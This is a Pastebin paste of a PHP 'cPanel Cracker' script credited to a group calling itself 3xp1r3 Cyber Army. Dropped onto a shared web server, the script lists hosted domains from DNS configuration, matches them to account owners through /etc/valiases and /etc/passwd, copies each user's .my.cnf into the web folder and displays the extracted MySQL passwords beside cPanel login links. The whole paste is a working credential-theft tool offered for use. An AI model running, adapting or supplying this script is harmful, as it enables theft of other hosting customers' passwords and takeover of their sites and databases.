Advertisement
S0yn3K

cPanel Cracker |---Red X----

Jun 1st, 2015
9,780
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.17 KB | None | 0 0
  1. cPanel Cracker | 3xp1r3 Cyber Army
  2.  
  3. ---Red X----
  4.  
  5. <?php
  6. /**
  7. * @author: FaisaL Ahmed aka rEd X
  8. * @Screenshot: http://prntscr.com/7c1p34
  9. * @Last Updated: 01 June 2015
  10. */
  11.  
  12. @ini_set('display_errors',0);
  13. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  14. $ar0=explode($marqueurDebutLien, $text);
  15. $ar1=explode($marqueurFinLien, $ar0[$i]);
  16. return trim($ar1[0]);
  17. }
  18.  
  19. echo '<html><head>
  20. <title>Automatic cPanel Finder/Cracker | 3xp1r3 Cyber Army</title>
  21. <meta content="text/html; charset=utf-8">
  22. <meta name="keywords" content="cPanel Cracker, 3xp1r3, 3xp1r3 Cyber Army, rEd X" />
  23. <meta name="description" content="Automatic cPanel Finder/Cracker" />
  24. <meta name="author" content="rEd X" />
  25. <link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
  26. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  27. <link rel="stylesheet" type="text/css" href="http://faisalahmed.me/wp-content/assets/css/1.css">
  28. </head><body>';
  29. echo '<div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">cPanel Finder/Cracker<br /><sub>3xp1r3 Cyber Army</sub></div><br/>';
  30.  
  31. echo "<center>";
  32. $d0mains = @file('/etc/named.conf');
  33. $domains = scandir("/var/named");
  34.  
  35. if ($domains or $d0mains)
  36. {
  37. $domains = scandir("/var/named");
  38. if($domains) {
  39. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  40. $count=1;
  41. $dc = 0;
  42. $list = scandir("/var/named");
  43. foreach($list as $domain){
  44. if(strpos($domain,".db")){
  45. $domain = str_replace('.db','',$domain);
  46. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  47. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  48. $path = getcwd();
  49.  
  50. if (is_readable($dirz)) {
  51. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  52. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  53. $password=entre2v2($p,'password="','"');
  54. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  55. $dc++;
  56. }
  57.  
  58. }
  59. }
  60. echo '</table>';
  61. $total = $dc;
  62. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  63. echo '</center>';
  64. }else{
  65. $d0mains = @file('/etc/named.conf');
  66. if($d0mains) {
  67. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  68. $count=1;
  69. $dc = 0;
  70. $mck = array();
  71. foreach($d0mains as $d0main){
  72. if(@eregi('zone',$d0main)){
  73. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  74. flush();
  75. if(strlen(trim($domain[1][0])) >2){
  76. $mck[] = $domain[1][0];
  77. }
  78. }
  79. }
  80. $mck = array_unique($mck);
  81. $usr = array();
  82. $dmn = array();
  83. foreach($mck as $o) {
  84. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  85. $usr[] = $infos['name'];
  86. $dmn[] = $o;
  87. }
  88. array_multisort($usr,$dmn);
  89. $dt = file('/etc/passwd');
  90. $passwd = array();
  91. foreach($dt as $d) {
  92. $r = explode(':',$d);
  93. if(strpos($r[5],'home')) {
  94. $passwd[$r[0]] = $r[5];
  95. }
  96. }
  97. $l=0;
  98. $j=1;
  99. foreach($usr as $r) {
  100. $dirz = '/home/'.$r.'/.my.cnf';
  101. $path = getcwd();
  102. if (is_readable($dirz)) {
  103. copy($dirz, ''.$path.'/'.$r.'.txt');
  104. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  105. $password=entre2v2($p,'password="','"');
  106. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  107. $dc++;
  108. flush();
  109. $l=$l?0:1;
  110. $j++;
  111. }
  112. }
  113. }
  114. echo '</table>';
  115. $total = $dc;
  116. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  117. echo '</center>';
  118.  
  119. }
  120. }else{
  121. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  122. }
  123.  
  124. echo "<br>&#169; <font color='#FF0000'>rEd X</font> | 3xp1r3 Cyber Army";
  125. echo "</body></html>";
  126. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement